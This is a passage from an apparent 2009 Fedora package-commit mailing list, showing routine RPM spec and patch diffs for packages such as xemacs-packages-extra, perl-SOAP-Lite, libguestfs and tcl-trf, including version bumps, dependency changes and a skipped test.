diff -u -p -r1.11 -r1.12
--- xemacs-packages-extra.spec	3 Sep 2009 22:06:11 -0000	1.11
+++ xemacs-packages-extra.spec	29 Oct 2009 18:28:42 -0000	1.12
@@ -3,7 +3,7 @@
 
 Name:           xemacs-packages-extra
 Version:        20090217
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Collection of XEmacs lisp packages
 
 Group:          Applications/Editors
@@ -43,8 +43,7 @@ BuildArch:      noarch
 BuildRequires:  xemacs >= 21.5.28-11
 BuildRequires:  texinfo
 # For building auctex docs
-BuildRequires:  texlive-texmf-latex
-BuildRequires:  tetex
+BuildRequires:  tex(latex)
 BuildRequires:  /sbin/install-info
 BuildRequires:  %{__python}
 BuildRequires:  java-devel
@@ -53,7 +52,7 @@ BuildRequires:  lzma
 Requires:       xemacs-packages-base = %{version}
 Requires:       xemacs(bin) >= %{xemver}
 # Fake release here for historical reasons
-Provides:       apel-xemacs = 10.6-6
+Provides:       apel-xemacs = 10.7-1
 
 %description
 XEmacs is a highly customizable open source text editor and
@@ -241,7 +240,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Sep  3 2009 Jerry James <loganjerry at gmail.com> - 20090217-2
+* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-4
+- Fix LaTeX BRs.
+- Update apel-xemacs Provides.
+
+* Thu Sep  3 2009 Jerry James <loganjerry at gmail.com> - 20090217-3
 - Update APEL to a newer version (bz 503185).
 - Teach dired about the /bin/ls dot signifying an SELinux context (bz 504422).
 - Fix a known timer bug.



From jjames at fedoraproject.org  Thu Oct 29 18:28:43 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 18:28:43 +0000 (UTC)
Subject: rpms/xemacs-packages-extra/devel xemacs-packages-extra.spec, 1.11, 
	1.12
Message-ID: <20091029182843.2D63411C00E5@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs-packages-extra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19896/devel

Modified Files:
	xemacs-packages-extra.spec 
Log Message:
* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-4
- Fix LaTeX BRs.
- Update apel-xemacs Provides.



Index: xemacs-packages-extra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs-packages-extra/devel/xemacs-packages-extra.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- xemacs-packages-extra.spec	3 Sep 2009 22:06:11 -0000	1.11
+++ xemacs-packages-extra.spec	29 Oct 2009 18:28:42 -0000	1.12
@@ -3,7 +3,7 @@
 
 Name:           xemacs-packages-extra
 Version:        20090217
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Collection of XEmacs lisp packages
 
 Group:          Applications/Editors
@@ -43,8 +43,7 @@ BuildArch:      noarch
 BuildRequires:  xemacs >= 21.5.28-11
 BuildRequires:  texinfo
 # For building auctex docs
-BuildRequires:  texlive-texmf-latex
-BuildRequires:  tetex
+BuildRequires:  tex(latex)
 BuildRequires:  /sbin/install-info
 BuildRequires:  %{__python}
 BuildRequires:  java-devel
@@ -53,7 +52,7 @@ BuildRequires:  lzma
 Requires:       xemacs-packages-base = %{version}
 Requires:       xemacs(bin) >= %{xemver}
 # Fake release here for historical reasons
-Provides:       apel-xemacs = 10.6-6
+Provides:       apel-xemacs = 10.7-1
 
 %description
 XEmacs is a highly customizable open source text editor and
@@ -241,7 +240,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Sep  3 2009 Jerry James <loganjerry at gmail.com> - 20090217-2
+* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-4
+- Fix LaTeX BRs.
+- Update apel-xemacs Provides.
+
+* Thu Sep  3 2009 Jerry James <loganjerry at gmail.com> - 20090217-3
 - Update APEL to a newer version (bz 503185).
 - Teach dired about the /bin/ls dot signifying an SELinux context (bz 504422).
 - Fix a known timer bug.



From kasal at fedoraproject.org  Thu Oct 29 18:30:49 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:30:49 +0000 (UTC)
Subject: rpms/perl-GD/F-12 perl-GD-skip-3.patch,NONE,1.1
Message-ID: <20091029183049.8566B11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-GD/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20955

Added Files:
	perl-GD-skip-3.patch 
Log Message:
sync with rawhide

perl-GD-skip-3.patch:
 GD.t |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE perl-GD-skip-3.patch ---
Skip test 3, it does not work; the blue collor is replaced by white.
broken both in dist-f12 and dist-f13 in koji.
Not reproduced outside koji yet.

To get the broken image, run "perl t/GD.t --write" and look at
"t/test.out.3.png_new".

Important observation:
It is important that test3() gets called; if it is skipped, then
test 6 below fails.  Looks like a memory allocation issue...


--- GD-2.44/t/GD.t.orig	2005-03-09 21:56:28.000000000 +0100
+++ GD-2.44/t/GD.t	2009-10-06 17:28:47.000000000 +0200
@@ -49,7 +49,8 @@
 }
 
 compare(test2(),2);
-compare(test3(),3);
+#compare(test3(),3);
+  my $throwaway = test3(); print "ok 3 # Skip, blue color does not work in koji\n";
 compare(test4(),4);
 compare(test5(),5);
 compare(test6(),6);



From ausil at fedoraproject.org  Thu Oct 29 18:33:31 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Thu, 29 Oct 2009 18:33:31 +0000 (UTC)
Subject: rpms/mono-zeroconf/devel mono-zeroconf.spec,1.16,1.17
Message-ID: <20091029183331.CA73711C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-zeroconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21988

Modified Files:
	mono-zeroconf.spec 
Log Message:
sync from F-12 branch



Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/devel/mono-zeroconf.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- mono-zeroconf.spec	26 Oct 2009 19:35:08 -0000	1.16
+++ mono-zeroconf.spec	29 Oct 2009 18:33:31 -0000	1.17
@@ -1,39 +1,40 @@
 %define         debug_package %{nil}
 
 Name:           mono-zeroconf
-Version:        0.7.6
-Release:        11%{?dist}
-Summary:        Mono-zeroconf namespace
+Version:        0.9.0
+Release:        3%{?dist}
+Summary:        Mono.Zeroconf networking library
 Group:          Development/Languages
 License:        MIT
 URL:            http://banshee-project.org/files/mono-zeroconf
 Source0:        %{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-devel >= 2.2, avahi-sharp, monodoc-devel, mono-web-devel
-Requires: 	monodoc mono-web
+BuildRequires:  mono-devel monodoc-devel
+Requires:       mono-core
 
-ExcludeArch: sparc64
+ExcludeArch:    sparc64
 
 %description
 Mono.Zeroconf is a cross platform Zero Configuration Networking library
 for Mono and .NET.
 
 %package devel
-Summary: .pc file for mono zeroconf
-Group: Documentation
-Requires: %{name} = %{version}-%{release} pkgconfig
+Summary: Development files for Mono.Zeroconf
+Group:   Development/Languages
+Requires: %{name} = %{version}-%{release} pkgconfig monodoc
 
 %description devel
-Development file for mono zeroconf
+Development files and documentation for Mono.Zeroconf
 
 %prep
 %setup -q
-# sed magic...
+# https://bugzilla.novell.com/show_bug.cgi?id=549163
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure.ac
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure
 
 %build
-%configure
+%configure --disable-mdnsresponder
+#parallel build doesn't work
 make
 
 %install
@@ -50,17 +51,23 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/mono-zeroconf/
 %{_libdir}/mono/gac/Mono.Zeroconf
 %{_libdir}/mono/mono-zeroconf
-%{_libdir}/monodoc/sources/mono-zeroconf*
-%{_libdir}/mono/gac/policy.1.0.Mono.Zeroconf/
-%{_libdir}/mono/gac/policy.2.0.Mono.Zeroconf/
+%{_libdir}/mono/gac/policy.*
 
 %files devel
 %{_libdir}/pkgconfig/mono-zeroconf.pc
+%{_libdir}/monodoc/sources/mono-zeroconf*
 
 %changelog
-* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.7.6-11
+* Thu Oct 29 2009 Dennis Gilmore <dennis at ausil.us> - 0.9.0-3
 - ExcludeArch sparc64
 
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
+- Make AvahiDbus the only provider for now
+
+* Thu Oct 22 2009 Paul Lange <palango at gmx.de> - 0.9-1
+- update to version 0.9
+- move docs into devel package
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.7.6-10
 - Rebuild for ppc64 packages due to obsolete of packageset last time.
 



From jcollie at fedoraproject.org  Thu Oct 29 18:33:41 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu, 29 Oct 2009 18:33:41 +0000 (UTC)
Subject: rpms/quodlibet/F-11 quodlibet.spec,1.15,1.16
Message-ID: <20091029183341.57A3911C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/quodlibet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22099

Modified Files:
	quodlibet.spec 
Log Message:
* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
- Require gstreamer-plugins-good - BZ#531664



Index: quodlibet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/quodlibet/F-11/quodlibet.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- quodlibet.spec	6 Jul 2009 19:49:02 -0000	1.15
+++ quodlibet.spec	29 Oct 2009 18:33:40 -0000	1.16
@@ -2,7 +2,7 @@
 
 Name:           quodlibet
 Version:        2.1
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        A music management program
 
 Group:          Applications/Multimedia
@@ -37,6 +37,7 @@ Requires:       python >= 2.4
 Requires:       pygtk2 >= 2.10
 Requires:       gstreamer-python >= 0.10.2
 Requires:       gnome-python2-canvas
+Requires:	gstreamer-plugins-good
 
 # For tray icon plugin
 Requires:       gnome-python2-libegg
@@ -124,6 +125,12 @@ rm -rf %{buildroot}
 %{python_sitelib}/quodlibet-%{version}-py2.6.egg-info
 
 %changelog
+* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
+- Require gstreamer-plugins-good - BZ#531664
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul  6 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-1
 - Update to 2.1 based on patches to spec by Andrew Nayenko
 



From kasal at fedoraproject.org  Thu Oct 29 18:34:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:34:56 +0000 (UTC)
Subject: rpms/perl-SOAP-Lite/F-12 .cvsignore, 1.6, 1.7 perl-SOAP-Lite.spec, 
	1.16, 1.17 sources, 1.6, 1.7 SOAP-Lite-0.710.07-nil-value.patch,
	1.1, NONE
Message-ID: <20091029183456.3246111C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-SOAP-Lite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22655

Modified Files:
	.cvsignore perl-SOAP-Lite.spec sources 
Removed Files:
	SOAP-Lite-0.710.07-nil-value.patch 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Dec 2008 15:38:59 -0000	1.6
+++ .cvsignore	29 Oct 2009 18:34:54 -0000	1.7
@@ -1 +1 @@
-SOAP-Lite-0.710.08.tar.gz
+SOAP-Lite-0.710.10.tar.gz


Index: perl-SOAP-Lite.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/F-12/perl-SOAP-Lite.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-SOAP-Lite.spec	26 Jul 2009 16:23:34 -0000	1.16
+++ perl-SOAP-Lite.spec	29 Oct 2009 18:34:55 -0000	1.17
@@ -1,13 +1,11 @@
 Name: 		perl-SOAP-Lite
-Version:	0.710.08
-Release:	4%{?dist}
+Version:	0.710.10
+Release:	1%{?dist}
 Summary:	Client and server side SOAP implementation
 License:	GPL+ or Artistic
 Group:		Development/Libraries
 URL: 		http://search.cpan.org/dist/SOAP-Lite/
-Source0: 	http://search.cpan.org/CPAN/authors/id/B/BY/BYRNE/SOAP/SOAP-Lite-%{version}.tar.gz
-# Submitted upstream: http://rt.cpan.org/Public/Bug/Display.html?id=20569
-Patch0:		SOAP-Lite-0.710.07-nil-value.patch
+Source0: 	http://search.cpan.org/CPAN/authors/id/M/MK/MKUTTER/SOAP-Lite-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:  	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -16,23 +14,22 @@ BuildRequires:  perl(ExtUtils::MakeMaker
 BuildRequires:  perl(Test::MockObject)
 BuildRequires:  perl(Test::Pod)
 BuildRequires:  perl(Test::Pod::Coverage)
+BuildRequires:  perl(Task::Weaken)
 BuildRequires:  perl(MIME::Parser)
+BuildRequires:  perl(Crypt::SSLeay)
+BuildRequires:  perl(IO::Socket::SSL)
+BuildRequires:  perl(MIME::Lite)
+BuildRequires:  perl(Apache)
+BuildRequires:  perl(FCGI)
+BuildRequires:  perl(Net::Jabber)
 BuildArch: 	noarch
 
-%define bogusreqs 'perl(MQClient::MQSeries)\
-perl(MQSeries)\
-perl(MQSeries::Message)\
-perl(MQSeries::Queue)\
-perl(MQSeries::QueueManager)\
-perl(Net::Jabber)\
-perl(Net::FTP)\
-perl(Net::POP3)'
-%global reqfilt sh -c "%{__perl_requires} | %{__grep} -Fv %{bogusreqs}"
-%define __perl_requires %{reqfilt}
-
-%define bogusprovs 'perl(LWP::Protocol)'
-%global provfilt sh -c "%{__perl_provides} | %{__grep} -Fv %{bogusprovs}"
-%define __perl_provides %{provfilt}
+
+%{?filter_setup:
+%filter_from_requires /perl(\(MQ\|Net::\)/d
+%filter_from_provides /perl(LWP::Protocol)/d
+%?perl_default_filter
+}
 
 %description
 SOAP::Lite is a collection of Perl modules which provides a simple and
@@ -41,7 +38,6 @@ client and server side.
 
 %prep
 %setup -q -n SOAP-Lite-%{version}
-%patch0 -p1 -b .nil-value
 
 %build
 %{__perl} Makefile.PL --noprompt INSTALLDIRS=vendor
@@ -70,13 +66,18 @@ make test
 %{perl_vendorlib}/Apache
 %{perl_vendorlib}/IO
 %{perl_vendorlib}/UDDI
-%{perl_vendorlib}/OldDocs
 %{perl_vendorlib}/XML
 %{perl_vendorlib}/XMLRPC
 %{_mandir}/man3/*
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 0.710.10-1
+- new upstream release
+- drop upstreamed patch
+- add missing build requires
+- use %%filter-* macros
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.710.08-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Dec 2008 15:38:59 -0000	1.6
+++ sources	29 Oct 2009 18:34:55 -0000	1.7
@@ -1 +1 @@
-e7869ad91fee76cc1782fe29fe3a989d  SOAP-Lite-0.710.08.tar.gz
+45d6679daac03fe4eb604a5b5f416fd5  SOAP-Lite-0.710.10.tar.gz


--- SOAP-Lite-0.710.07-nil-value.patch DELETED ---



From kasal at fedoraproject.org  Thu Oct 29 18:35:27 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:35:27 +0000 (UTC)
Subject: rpms/perl-String-Format/F-12 .cvsignore, 1.3,
	1.4 perl-String-Format.spec, 1.8, 1.9 sources, 1.3, 1.4
Message-ID: <20091029183527.A6AB511C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-String-Format/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22871

Modified Files:
	.cvsignore perl-String-Format.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	27 Mar 2009 10:22:27 -0000	1.3
+++ .cvsignore	29 Oct 2009 18:35:27 -0000	1.4
@@ -1 +1 @@
-String-Format-1.15.tar.gz
+String-Format-1.16.tar.gz


Index: perl-String-Format.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/F-12/perl-String-Format.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-String-Format.spec	26 Jul 2009 16:34:17 -0000	1.8
+++ perl-String-Format.spec	29 Oct 2009 18:35:27 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           perl-String-Format
-Version:        1.15
-Release:        2%{?dist}
+Version:        1.16
+Release:        1%{?dist}
 Summary:        Sprintf-like string formatting capabilities with arbitrary format definitions
 
 Group:          Development/Libraries
@@ -34,7 +34,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -type d -depth -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 chmod -R u+w $RPM_BUILD_ROOT/*
 
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.16-1
+- new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.15-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	27 Mar 2009 10:22:27 -0000	1.3
+++ sources	29 Oct 2009 18:35:27 -0000	1.4
@@ -1 +1 @@
-f3d792bfb47c030b2783b6f7347a088b  String-Format-1.15.tar.gz
+4c4214b891648bbbf74b3ecf5c8207d8  String-Format-1.16.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:36:04 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:36:04 +0000 (UTC)
Subject: rpms/perl-Test-CPAN-Meta/F-12 .cvsignore, 1.4,
	1.5 perl-Test-CPAN-Meta.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091029183604.5B69811C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-CPAN-Meta/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23302

Modified Files:
	.cvsignore perl-Test-CPAN-Meta.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-CPAN-Meta/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Jul 2008 22:38:29 -0000	1.4
+++ .cvsignore	29 Oct 2009 18:36:03 -0000	1.5
@@ -1 +1 @@
-Test-CPAN-Meta-0.12.tar.gz
+Test-CPAN-Meta-0.13.tar.gz


Index: perl-Test-CPAN-Meta.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-CPAN-Meta/F-12/perl-Test-CPAN-Meta.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Test-CPAN-Meta.spec	26 Jul 2009 16:46:39 -0000	1.5
+++ perl-Test-CPAN-Meta.spec	29 Oct 2009 18:36:03 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           perl-Test-CPAN-Meta
-Version:        0.12
-Release:        3%{?dist}
+Version:        0.13
+Release:        1%{?dist}
 Summary:        Validation of the META.yml file in a CPAN distribution
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-CPAN-Meta/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	1 Jul 2008 22:38:29 -0000	1.4
+++ sources	29 Oct 2009 18:36:03 -0000	1.5
@@ -1 +1 @@
-f734933622757cf00361e08189a1e7ce  Test-CPAN-Meta-0.12.tar.gz
+af486e1d6d27c7b56d3c007911626738  Test-CPAN-Meta-0.13.tar.gz



From rjones at fedoraproject.org  Thu Oct 29 18:38:10 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 18:38:10 +0000 (UTC)
Subject: rpms/libguestfs/EL-5
	0002-RHEL-5-Also-add-le-16-64-toh-functions.patch, NONE,
	1.1 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch,
	1.1, 1.2 libguestfs.spec, 1.76, 1.77
Message-ID: <20091029183810.7B30711C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24057

Modified Files:
	0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch 
	libguestfs.spec 
Added Files:
	0002-RHEL-5-Also-add-le-16-64-toh-functions.patch 
Log Message:
Another upstream fix required for endianness handling.

0002-RHEL-5-Also-add-le-16-64-toh-functions.patch:
 hivex.c |   13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

--- NEW FILE 0002-RHEL-5-Also-add-le-16-64-toh-functions.patch ---
>From d707ecc55ac2de267608435bdc1052176aecff46 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Thu, 29 Oct 2009 18:36:12 +0000
Subject: [PATCH 2/2] RHEL 5: Also add le{16,64}toh functions

---
 hivex/hivex.c |   12 ++++++++++++
 1 files changed, 12 insertions(+), 0 deletions(-)

diff --git a/hivex/hivex.c b/hivex/hivex.c
index 85d6c7b..a0a730c 100644
--- a/hivex/hivex.c
+++ b/hivex/hivex.c
@@ -45,9 +45,15 @@
 #ifndef be64toh
 #define be64toh(x) __bswap_64 (x)
 #endif
+#ifndef le16toh
+#define le32toh(x) (x)
+#endif
 #ifndef le32toh
 #define le32toh(x) (x)
 #endif
+#ifndef le64toh
+#define le32toh(x) (x)
+#endif
 #else
 #ifndef be32toh
 #define be32toh(x) (x)
@@ -55,9 +61,15 @@
 #ifndef be64toh
 #define be64toh(x) (x)
 #endif
+#ifndef le16toh
+#define le16toh(x) __bswap_16 (x)
+#endif
 #ifndef le32toh
 #define le32toh(x) __bswap_32 (x)
 #endif
+#ifndef le64toh
+#define le64toh(x) __bswap_64 (x)
+#endif
 #endif
 
 #include "hivex.h"
-- 
1.6.5.rc2


0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch:
 configure.ac     |    2 +-
 hivex/hivex.c    |   31 ++++++++++++++++++++++++++++++-
 hivex/hivexget.c |    2 ++
 hivex/hivexml.c  |    3 ++-
 4 files changed, 35 insertions(+), 3 deletions(-)

Index: 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch	29 Oct 2009 17:57:57 -0000	1.1
+++ 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch	29 Oct 2009 18:38:09 -0000	1.2
@@ -1,7 +1,7 @@
 From a4e27cdf4d3b831792dd20d796dc98a5bc684290 Mon Sep 17 00:00:00 2001
 From: Richard Jones <rjones at redhat.com>
 Date: Thu, 29 Oct 2009 17:54:48 +0000
-Subject: [PATCH] RHEL 5: Detect endianness functions and supply them.
+Subject: [PATCH 1/2] RHEL 5: Detect endianness functions and supply them.
 
 ---
  configure.ac     |    2 +-


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- libguestfs.spec	29 Oct 2009 18:23:40 -0000	1.76
+++ libguestfs.spec	29 Oct 2009 18:38:10 -0000	1.77
@@ -5,15 +5,16 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.4
+Release:     1%{?dist}.5
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
 Source0:     http://libguestfs.org/download/%{name}-%{version}.tar.gz
 BuildRoot:   %{_tmppath}/%{name}-%{version}-%{release}-root
 
-# Next two lines should be removed in 1.0.76:
+# Next lines should be removed in 1.0.76:
 Patch0:      0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
+Patch1:      0002-RHEL-5-Also-add-le-16-64-toh-functions.patch
 BuildRequires: autoconf, automake, libtool, gettext-devel
 
 # Currently fails on PPC because:
@@ -325,6 +326,7 @@ Requires:    jpackage-utils
 
 # Remove this in 1.0.76:
 %patch0 -p1
+%patch1 -p1
 mv inspector/Makefile.am inspector/Makefile.am.orig
 echo 'docdir = ${datadir}/doc/${PACKAGE}' > inspector/Makefile.am
 cat inspector/Makefile.am.orig >> inspector/Makefile.am
@@ -575,7 +577,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.4
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.5
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From spot at fedoraproject.org  Thu Oct 29 18:41:30 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 18:41:30 +0000 (UTC)
Subject: rpms/tcl-trf/F-10 trf2.1.4-noripemd.patch, NONE, 1.1 sources, 1.2, 
	1.3 tcl-trf.spec, 1.2, 1.3
Message-ID: <20091029184130.CBCB911C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tcl-trf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25072/F-10

Modified Files:
	sources tcl-trf.spec 
Added Files:
	trf2.1.4-noripemd.patch 
Log Message:
update to 2.1.4

trf2.1.4-noripemd.patch:
 DESCRIPTION              |    2 +-
 LSM                      |    2 +-
 configure                |    2 +-
 configure.in             |    1 -
 doc/trf.man              |    6 +-----
 generic/init.c           |    2 ++
 generic/transformInt.h   |    4 ++--
 tea.tests/________       |    4 ++--
 tea.tests/common_md.test |    2 +-
 tests/________           |    4 ++--
 tests/common.md.test     |    2 +-
 tools/md                 |    2 +-
 12 files changed, 15 insertions(+), 18 deletions(-)

--- NEW FILE trf2.1.4-noripemd.patch ---
diff -up trf2.1.4/configure.in.ripemd trf2.1.4/configure.in
--- trf2.1.4/configure.in.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/configure.in	2009-10-29 14:33:30.504518975 -0400
@@ -86,7 +86,6 @@ TEA_ADD_SOURCES([otpcode.c qpcode.c refl
 TEA_ADD_SOURCES([dig_opt.c digest.c])
 TEA_ADD_SOURCES([crc.c crc_zlib.c adler.c])
 TEA_ADD_SOURCES([md5dig.c haval.c sha.c md2.c sha1.c])
-TEA_ADD_SOURCES([rmd160.c rmd128.c])
 TEA_ADD_SOURCES([otpmd5.c otpsha1.c])
 
 TEA_ADD_SOURCES([rs_ecc.c])
diff -up trf2.1.4/configure.ripemd trf2.1.4/configure
--- trf2.1.4/configure.ripemd	2009-06-18 00:45:24.000000000 -0400
+++ trf2.1.4/configure	2009-10-29 14:33:30.506531382 -0400
@@ -7041,7 +7041,7 @@ echo "$as_me: error: could not find sour
 
 
 
-    vars="rmd160.c rmd128.c"
+    vars=""
     for i in $vars; do
 	case $i in
 	    \$*)
